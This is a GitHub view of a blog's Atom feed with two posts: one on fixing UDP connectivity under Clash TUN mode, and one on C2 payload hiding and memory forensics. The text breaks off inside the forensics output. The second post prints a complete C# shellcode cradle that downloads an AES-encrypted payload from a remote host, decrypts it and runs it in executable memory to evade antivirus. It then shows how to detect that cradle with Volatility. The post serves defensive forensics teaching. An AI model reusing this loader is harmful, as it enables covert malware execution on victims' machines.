-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
204 lines (109 loc) · 179 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>4xpl0r3r's blog</title>
<link href="https://www.4xpl0r3r.com/atom.xml" rel="self"/>
<link href="https://www.4xpl0r3r.com/"/>
<updated>2024-02-29T09:50:37.000Z</updated>
<id>https://www.4xpl0r3r.com/</id>
<author>
<name>4xpl0r3r</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Deal with the network issue of UDP services with Clash TUN mode enabled</title>
<link href="https://www.4xpl0r3r.com/Experience/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/"/>
<id>https://www.4xpl0r3r.com/Experience/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/</id>
<published>2024-02-29T09:00:00.000Z</published>
<updated>2024-02-29T09:50:37.000Z</updated>
<content type="html"><![CDATA[<p>When the TUN mode is enable in Clash, local UDP service can’t build connection with clients on the Internet. How to diagnose it? How to fix it?</p><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/经验/Clash-TUN模式下的UDP服务异常诊断与解决/">简体中文</a>.</div></article><h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>I’m used to use the TUN mode of ClashX to takeover all the network traffic in my MacOS system to observe the real-time traffic and configure the traffic routing. As the open source alternative of Surge, ClashX has been my actual outbound traffic management center and outbound firewall in my MacOS system.</p><blockquote><p>To manage the inbound traffic for MacOS, I still recommend the built-in PF firewall</p></blockquote><p>Recently, with the popularity of the <em>PalWorld</em>, I set up the dedicated server in my MacOS with Docker. However, the users from Internet can not connect to my server while everything worked well in my LAN. ( I have the public IP, configured the port mapping)</p><h2 id="Troubleshooting"><a href="#Troubleshooting" class="headerlink" title="Troubleshooting"></a>Troubleshooting</h2><h3 id="Diagnose-the-incoming-and-outgoing-for-UDP-amp-TCP"><a href="#Diagnose-the-incoming-and-outgoing-for-UDP-amp-TCP" class="headerlink" title="Diagnose the incoming and outgoing for UDP&TCP"></a>Diagnose the incoming and outgoing for UDP&TCP</h3><p>First, I perform diagnostics on the incoming and outgoing TCP and UDP traffic</p><p>TCP outgoing traffic, it’s easy to test and find that everything works well.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229144359702.png" alt="image-20240229144359702"></p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229144451892.png" alt="image-20240229144451892"></p><p>TCP incoming traffic, according to the screenshots below, the communication is normal. The packets from both client and server are received successfully.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229144918734.png" alt="image-20240229144918734"></p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229144946166.png" alt="image-20240229144946166"></p><p>UDP outgoing traffic, here I tried to access the Google NTP service. we can find that the connection succeeded.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229145054536.png" alt="image-20240229145054536"></p><p>UDP ingoing traffic, let’s set up the listening service at the first.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229145229874.png" alt="image-20240229145229874"></p><p>Tried to send an UDP packet, we can see the packet is received successfully. It seems like the UDP listening service works well, but really?</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229145313016.png" alt="image-20240229145313016"></p><p>Tried to send the response packet, it can’t be received. Tried to send the packet from client side again, it can’t be received too.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229145830292.png" alt="image-20240229145830292"></p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229145708448.png" alt="image-20240229145708448"></p><blockquote><p>At this time, test in the LAN or without enabling on TUN mode. All connections are normal. The method is the same. So let’s skip them.</p></blockquote><h3 id="Diagnosis-with-Wireshark"><a href="#Diagnosis-with-Wireshark" class="headerlink" title="Diagnosis with Wireshark"></a>Diagnosis with Wireshark</h3><p>Now we have confirm the issue, let’s dive deeper with Wireshark. While listening with Wireshark, reproduce the above problematic operation.</p><blockquote><p>You may notice my public IP and ports changed, IP changed from 218.79.x.x to 117.131.x.x, the port is 50011 now. Don’t care this.</p></blockquote><p>We can find the successfully sent UDP packet with destination port 50011, we received this packet in the server side successfully.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229150452204.png" alt="image-20240229150452204"></p><p>The 2nd packet is sent back from the server side, but the client side didn’t received that. We can find the source port in the screenshot, it’s 50131 which is not the same as the service listening port 50011. I believe it’s because Clash remapped the source port in the TUN NIC to avoiding conflict when several proxy clients use the same source port. Then because the source port is different from the destination port in the client side and the client was using the widely used port restricted cone NAT( called NAT in the PlayStation ), the connection failed. But if the client was using restricted cone NAT (NAT2) or full cone NAT (NAT1), I believe the connection could succeed.</p><h2 id="Solve-it"><a href="#Solve-it" class="headerlink" title="Solve it"></a>Solve it</h2><p>Now we have located the root cause - UDP service outgoing traffic flow through the TUN NIC, which made the source port change, so the client with NAT3 rejects the connection. How to solve it?</p><h3 id="Solution-1-Configure-the-routing-table-manually"><a href="#Solution-1-Configure-the-routing-table-manually" class="headerlink" title="Solution 1 - Configure the routing table manually"></a>Solution 1 - Configure the routing table manually</h3><p>Since the problem is that the traffic passes through the TUN NIC, we can specify routing table rules for the specific client IP to use the physical NIC directly and ignore the TUN NIC.</p><p>In MacOS, I use the following command to indicate the traffic flowing to <code>117.131.x.x</code> to use the <code>en20</code> physical NIC and solved the issue successfully.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo route add 117.131.x.x -interface en20</span><br></pre></td></tr></table></figure><p>It’s also feasible to change the ClashX client to <a href="https://github.com/MetaCubeX/ClashX.Meta">ClashX.Meta</a>, which allows us to make more detailed configuration for the the TUN mode. Therefore, we can write the configuration file to exclude specific CIDR block automatically when enabling the TUN mode.</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">tun:</span></span><br><span class="line"> <span class="attr">inet4-route-exclude-address:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="number">117.131</span><span class="string">.x.x/32</span></span><br></pre></td></tr></table></figure><h4 id="Cons"><a href="#Cons" class="headerlink" title="Cons"></a>Cons</h4><ul><li>This approach can’t deal with the problem when there are massive clients.</li></ul><h3 id="Solution-2-Utilize-port-forwarding-tools"><a href="#Solution-2-Utilize-port-forwarding-tools" class="headerlink" title="Solution 2 - Utilize port forwarding tools"></a>Solution 2 - Utilize port forwarding tools</h3><p>Some port forwarding tools like <a href="https://github.com/ginuerzh/gost">gost</a> can specify the listening port and send the response packet from the correspond NIC.</p><p>Here the gost bind the physical NIC (<code>192.168.x.x</code>) and redirect the traffic to the real service.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gost -L=udp://192.168.x.x:50111/127.0.0.1:50112</span><br></pre></td></tr></table></figure><p>Here we can see the packets from both client and server sides are received succesfully.</p><p><img src="../../img/Deal-with-the-network-issue-of-UDP-services-with-Clash-TUN-mode-enabled/image-20240229154654997.png" alt="image-20240229154654997"></p><h4 id="Cons-1"><a href="#Cons-1" class="headerlink" title="Cons"></a>Cons</h4><ul><li>The traffic is redirected in the application layer, which increase the server performance pressure and increase the network latency</li><li>The server-side application can’t identify the real client IP address anymore.</li></ul><h3 id="Solution-3-Bridge-the-NIC"><a href="#Solution-3-Bridge-the-NIC" class="headerlink" title="Solution 3 - Bridge the NIC"></a>Solution 3 - Bridge the NIC</h3><blockquote><p>Just a assumption, not tested</p></blockquote><p>It’s feasible to use Vmware to create a bridged NIC which connect to the physical NIC directly to ignore the Clash TUN NIC.</p><h4 id="Cons-2"><a href="#Cons-2" class="headerlink" title="Cons"></a>Cons</h4><ul><li>The port forwarding function in the router may not work with the bridge NIC to make the connection fail. ( I met this condition, my k662c router can’t forward a port to a IP address of a bridge NIC)</li></ul>]]></content>
<summary type="html"><p>When the TUN mode is enable in Clash, local UDP service can’t build connection with clients on the Internet. How to diagnose it? How to fix it?</p></summary>
<category term="Experience" scheme="https://www.4xpl0r3r.com/categories/Experience/"/>
<category term="Network" scheme="https://www.4xpl0r3r.com/tags/Network/"/>
<category term="Troubleshooting" scheme="https://www.4xpl0r3r.com/tags/Troubleshooting/"/>
</entry>
<entry>
<title>C2 Payload Hiding and Memory Forensics</title>
<link href="https://www.4xpl0r3r.com/Red-Blue/C2-Payload-Hiding-and-Memory-Forensics/"/>
<id>https://www.4xpl0r3r.com/Red-Blue/C2-Payload-Hiding-and-Memory-Forensics/</id>
<published>2023-03-13T08:45:43.000Z</published>
<updated>2023-03-13T08:58:29.000Z</updated>
<content type="html"><![CDATA[<p>There is a common method to execute a malicious payload in a download cradle to bypass the antivirus’ detection. Here I’m going to show you how to use volatility to perform memory forensics and extract malicious payloads from memory.</p><span id="more"></span><h2 id="Prerequisite"><a href="#Prerequisite" class="headerlink" title="Prerequisite"></a>Prerequisite</h2><ul><li><a href="https://github.com/HavocFramework/Havoc"><strong>Havoc Framework</strong></a></li><li><strong>Metasploit Framework</strong></li><li><strong><a href="https://github.com/Gr1mmie/AtlasC2">AtlasC2</a></strong></li><li><strong>Visual Studio</strong></li><li><strong>dnSpy</strong></li></ul><h2 id="Memory-Forensics-with-Shellcode-Cradle"><a href="#Memory-Forensics-with-Shellcode-Cradle" class="headerlink" title="Memory Forensics with Shellcode Cradle"></a>Memory Forensics with Shellcode Cradle</h2><p>At the first, use the payload generator to generate a shellcode and encrypt it with AES. the encrypted payload is stored in “payload.jpeg” which will be rendered with the HTTP server, and put the IV and key into the Cradle code.</p><h3 id="My-Custom-Cradle"><a href="#My-Custom-Cradle" class="headerlink" title="My Custom Cradle"></a>My Custom Cradle</h3><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">using</span> System;</span><br><span class="line"><span class="keyword">using</span> System.IO;</span><br><span class="line"><span class="keyword">using</span> System.Net;</span><br><span class="line"><span class="keyword">using</span> System.Runtime.InteropServices;</span><br><span class="line"><span class="keyword">using</span> System.Security.Cryptography;</span><br><span class="line"><span class="keyword">using</span> System.Text;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Cradle1</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">internal</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title">Program</span></span><br><span class="line"> {</span><br><span class="line"> [<span class="meta">DllImport(<span class="meta-string">"kernel32.dll"</span>, SetLastError = true, ExactSpelling = true)</span>]</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">VirtualAlloc</span>(<span class="params">IntPtr lpAddress, <span class="built_in">uint</span> dwSize, <span class="built_in">uint</span> flAllocationType, <span class="built_in">uint</span> flProtect</span>)</span>;</span><br><span class="line"> [<span class="meta">DllImport(<span class="meta-string">"kernel32.dll"</span>)</span>]</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">CreateThread</span>(<span class="params">IntPtr lpThreadAttributes,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="built_in">uint</span> dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, <span class="built_in">uint</span> dwCreationFlags, IntPtr lpThreadId</span>)</span>;</span><br><span class="line"> [<span class="meta">DllImport(<span class="meta-string">"kernel32.dll"</span>)</span>]</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> UInt32 <span class="title">WaitForSingleObject</span>(<span class="params">IntPtr hHandle,</span></span></span><br><span class="line"><span class="params"><span class="function"> UInt32 dwMilliseconds</span>)</span>;</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="built_in">string</span> <span class="title">DecryptStringFromBytes_Aes</span>(<span class="params"><span class="built_in">byte</span>[] cipherText, <span class="built_in">byte</span>[] Key, <span class="built_in">byte</span>[] IV</span>)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (cipherText == <span class="literal">null</span> || cipherText.Length <= <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> ArgumentNullException(<span class="string">"cipherText"</span>);</span><br><span class="line"> <span class="keyword">if</span> (Key == <span class="literal">null</span> || Key.Length <= <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> ArgumentNullException(<span class="string">"Key"</span>);</span><br><span class="line"> <span class="keyword">if</span> (IV == <span class="literal">null</span> || IV.Length <= <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> ArgumentNullException(<span class="string">"IV"</span>);</span><br><span class="line"> <span class="built_in">string</span> plaintext = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">using</span> (Aes aesAlg = Aes.Create())</span><br><span class="line"> {</span><br><span class="line"> aesAlg.Key = Key;</span><br><span class="line"> aesAlg.IV = IV;</span><br><span class="line"> ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);</span><br><span class="line"> <span class="keyword">using</span> (MemoryStream msDecrypt = <span class="keyword">new</span> MemoryStream(cipherText))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">using</span> (CryptoStream csDecrypt = <span class="keyword">new</span> CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">using</span> (StreamReader srDecrypt = <span class="keyword">new</span> StreamReader(csDecrypt))</span><br><span class="line"> {</span><br><span class="line"> plaintext = srDecrypt.ReadToEnd();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> plaintext;</span><br><span class="line"> }</span><br><span class="line"> [<span class="meta">STAThread</span>]</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span>(<span class="params"></span>)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">var</span> client = <span class="keyword">new</span> WebClient();</span><br><span class="line"> <span class="keyword">var</span> encrypted = client.DownloadString(<span class="string">"http://192.168.2.2:1888/payload.jpeg"</span>);</span><br><span class="line"> <span class="keyword">var</span> byteBuf = Convert.FromBase64String(encrypted);</span><br><span class="line"> <span class="keyword">var</span> key = Convert.FromBase64String(<span class="string">"eYkR/wkF3FKtODdZk66SgW6lDLw4iIYrHcwE6Ei2vxk="</span>);</span><br><span class="line"> <span class="keyword">var</span> IV = Convert.FromBase64String(<span class="string">"8T/TtAHKPkPe7UIC+PsBGg=="</span>);</span><br><span class="line"> <span class="keyword">var</span> res = Encoding.GetEncoding(<span class="string">"ISO-8859-1"</span>).GetBytes(DecryptStringFromBytes_Aes(byteBuf, key, IV));</span><br><span class="line"> IntPtr addr = VirtualAlloc(IntPtr.Zero, (<span class="built_in">uint</span>)res.Length, <span class="number">0x3000</span>, <span class="number">0x40</span>);</span><br><span class="line"> Marshal.Copy(res, <span class="number">0</span>, addr, res.Length);</span><br><span class="line"> IntPtr hThread = CreateThread(IntPtr.Zero, <span class="number">0</span>, addr, IntPtr.Zero, <span class="number">0</span>, IntPtr.Zero);</span><br><span class="line"> WaitForSingleObject(hThread, <span class="number">0xFFFFFFFF</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="Forensics-with-Volatility-3"><a href="#Forensics-with-Volatility-3" class="headerlink" title="Forensics with Volatility 3"></a>Forensics with Volatility 3</h3><p>After using DumpIt.exe or anything you like to exact the full memory dump, we can use volatility to perform forensics.</p><h4 id="Validate-Image"><a href="#Validate-Image" class="headerlink" title="Validate Image"></a>Validate Image</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memory_dump.raw windows.info</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Volatility 3 Framework 2.4.2</span><br><span class="line">Progress: 100.00 PDB scanning finished </span><br><span class="line">Variable Value</span><br><span class="line"></span><br><span class="line">Kernel Base 0xf8061cc17000</span><br><span class="line">DTB 0x1ad000</span><br><span class="line">...</span><br><span class="line">Is64Bit True</span><br><span class="line">IsPAE False</span><br><span class="line">layer_name 0 WindowsIntel32e</span><br><span class="line">memory_layer 1 FileLayer</span><br><span class="line">KdVersionBlock 0xf8061d826388</span><br><span class="line">Major/Minor 15.19041</span><br><span class="line">MachineType 34404</span><br><span class="line">KeNumberProcessors 2</span><br><span class="line">SystemTime 2023-03-09 05:23:04</span><br><span class="line">NtSystemRoot C:\Windows</span><br><span class="line">NtProductType NtProductWinNt</span><br><span class="line">NtMajorVersion 10</span><br><span class="line">NtMinorVersion 0</span><br><span class="line">PE MajorOperatingSystemVersion 10</span><br><span class="line">PE MinorOperatingSystemVersion 0</span><br><span class="line">PE Machine 34404</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>It looks volatility works well with this image</p><h4 id="Check-Process-Tree"><a href="#Check-Process-Tree" class="headerlink" title="Check Process Tree"></a>Check Process Tree</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memory_dump.raw windows.pstree</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime</span><br><span class="line"></span><br><span class="line">4 0 System 0xd30ee5482080 139 - N/A False 2023-03-09 04:44:09.000000 N/A</span><br><span class="line">* 312 4 smss.exe 0xd30ee81ea040 2 - N/A False 2023-03-09 04:44:09.000000 N/A</span><br><span class="line">* 1576 4 MemCompression 0xd30ee9eb4040 26 - N/A False 2023-03-09 04:44:12.000000 N/A</span><br><span class="line">* 92 4 Registry 0xd30ee54e9080 4 - N/A False 2023-03-09 04:44:04.000000 N/A</span><br><span class="line">520 500 csrss.exe 0xd30ee893e080 11 - 1 False 2023-03-09 04:44:10.000000 N/A</span><br><span class="line">608 500 winlogon.exe 0xd30ee89c8080 3 - 1 False 2023-03-09 04:44:10.000000 N/A</span><br><span class="line">* 816 608 fontdrvhost.ex 0xd30ee9a59080 5 - 1 False 2023-03-09 04:44:11.000000 N/A</span><br><span class="line">* 992 608 LogonUI.exe 0xd30ee9d37080 10 - 1 False 2023-03-09 04:44:11.000000 N/A</span><br><span class="line">* 1000 608 dwm.exe 0xd30ee9d39080 13 - 1 False 2023-03-09 04:44:11.000000 N/A</span><br><span class="line">4076 4068 csrss.exe 0xd30eeab87140 12 - 2 False 2023-03-09 04:46:59.000000 N/A</span><br><span class="line">1256 4068 winlogon.exe 0xd30eea6c2080 6 - 2 False 2023-03-09 04:46:59.000000 N/A</span><br><span class="line">* 2800 1256 dwm.exe 0xd30eea704240 15 - 2 False 2023-03-09 04:47:00.000000 N/A</span><br><span class="line">* 4604 1256 userinit.exe 0xd30eebadf080 0 - 2 False 2023-03-09 04:47:02.000000 2023-03-09 04:47:38.000000 </span><br><span class="line">** 4620 4604 explorer.exe 0xd30eebaf8080 75 - 2 False 2023-03-09 04:47:02.000000 N/A</span><br><span class="line">*** 5508 4620 a.exe 0xd30ee8494080 14 - 2 False 2023-03-09 05:22:18.000000 N/A</span><br><span class="line">*** 6884 4620 OneDrive.exe 0xd30eebcb0080 19 - 2 True 2023-03-09 04:47:29.000000 N/A</span><br><span class="line">*** 4776 4620 powershell.exe 0xd30eec77a080 13 - 2 False 2023-03-09 05:04:21.000000 N/A</span><br><span class="line">**** 3668 4776 conhost.exe 0xd30eebbbd080 4 - 2 False 2023-03-09 05:04:21.000000 N/A</span><br><span class="line">*** 620 4620 msedge.exe 0xd30eec1c9080 28 - 2 False 2023-03-09 04:51:24.000000 N/A</span><br><span class="line">**** 4544 620 msedge.exe 0xd30eec8bd340 7 - 2 False 2023-03-09 04:51:24.000000 N/A</span><br><span class="line">**** 6816 620 msedge.exe 0xd30eebbfa080 14 - 2 False 2023-03-09 04:51:25.000000 N/A</span><br><span class="line">**** 4480 620 msedge.exe 0xd30eec6aa080 13 - 2 False 2023-03-09 04:53:04.000000 N/A</span><br><span class="line">**** 4992 620 msedge.exe 0xd30eec7df0c0 12 - 2 False 2023-03-09 05:07:46.000000 N/A</span><br><span class="line">**** 3564 620 msedge.exe 0xd30eec086080 13 - 2 False 2023-03-09 05:00:49.000000 N/A</span><br><span class="line">**** 6840 620 msedge.exe 0xd30eebf52080 11 - 2 False 2023-03-09 04:51:25.000000 N/A</span><br><span class="line">**** 1788 620 msedge.exe 0xd30eebcca300 8 - 2 False 2023-03-09 04:51:25.000000 N/A</span><br><span class="line">*** 5172 4620 DumpIt.exe 0xd30eeb9e6080 3 - 2 True 2023-03-09 05:22:56.000000 N/A</span><br><span class="line">**** 5432 5172 conhost.exe 0xd30eeb9110c0 6 - 2 False 2023-03-09 05:22:56.000000 N/A</span><br><span class="line">*** 6392 4620 vmtoolsd.exe 0xd30eec0b22c0 6 - 2 False 2023-03-09 04:47:27.000000 N/A</span><br><span class="line">* 2572 1256 fontdrvhost.ex 0xd30eeab8e140 5 - 2 False 2023-03-09 04:47:00.000000 N/A</span><br></pre></td></tr></table></figure><p>We can find our suspicious process is a child process of “explorer.exe” and the PID of it is 5508. There will be a lot of approach to determine whether a process is suspicious like EDR or dubious inheritance.</p><h4 id="Locate-Injected-Code"><a href="#Locate-Injected-Code" class="headerlink" title="Locate Injected Code"></a>Locate Injected Code</h4><p>Check injected with following command</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memory_dump.raw windows.malfind.Malfind --pid 5508</span><br></pre></td></tr></table></figure><p>According to the result, we can see it found several injected code because they have <code>PAGE_EXECUTE_READWRITE</code> protection</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">PID Process Start VPN End VPN Tag Protection CommitCharge PrivateMemory File output Hexdump Disasm</span><br><span class="line"></span><br><span class="line">5508 a.exe 0x1f4510e0000 0x1f4510effff VadS PAGE_EXECUTE_READWRITE 2 1 Disabled</span><br><span class="line">00 00 00 00 00 00 00 00 ........</span><br><span class="line">ef da 1c 5e 56 c0 00 01 ...^V...</span><br><span class="line">ee ff ee ff 02 00 00 00 ........</span><br><span class="line">...</span><br><span class="line">0x1f4510e0000: add byte ptr [rax], al</span><br><span class="line">0x1f4510e0002: add byte ptr [rax], al</span><br><span class="line">0x1f4510e0004: add byte ptr [rax], al</span><br><span class="line">0x1f4510e0006: add byte ptr [rax], al</span><br><span class="line">0x1f4510e0008: out dx, eax</span><br><span class="line">...</span><br><span class="line">5508 a.exe 0x1f450ed0000 0x1f450ee0fff VadS PAGE_EXECUTE_READWRITE 17 1 Disabled</span><br><span class="line">56 48 89 e6 48 83 e4 f0 VH..H...</span><br><span class="line">48 83 ec 20 e8 0f 00 00 H.......</span><br><span class="line">00 48 89 f4 5e c3 66 2e .H..^.f.</span><br><span class="line">...</span><br><span class="line">0x1f450ed0000: push rsi</span><br><span class="line">0x1f450ed0001: mov rsi, rsp</span><br><span class="line">0x1f450ed0004: and rsp, 0xfffffffffffffff0</span><br><span class="line">0x1f450ed0008: sub rsp, 0x20</span><br><span class="line">0x1f450ed000c: call 0x1f450ed0020</span><br><span class="line">0x1f450ed0011: mov rsp, rsi</span><br><span class="line">0x1f450ed0014: pop rsi</span><br><span class="line">...</span><br><span class="line">5508 a.exe 0x1f451030000 0x1f45103ffff VadS PAGE_EXECUTE_READWRITE 16 1 Disabled</span><br><span class="line">4c 8b d1 b8 02 00 00 00 L.......</span><br><span class="line">49 bb f2 dd 3c f0 fb 7f I...<...</span><br><span class="line">00 00 41 ff e3 c3 00 00 ..A.....</span><br><span class="line">...</span><br><span class="line">0x1f451030000: mov r10, rcx</span><br><span class="line">0x1f451030003: mov eax, 2</span><br><span class="line">0x1f451030008: movabs r11, 0x7ffbf03cddf2</span><br><span class="line">0x1f451030012: jmp r11</span><br><span class="line">0x1f451030015: ret</span><br><span class="line">0x1f451030016: add byte ptr [rax], al</span><br><span class="line">0x1f451030018: add byte ptr [rax], 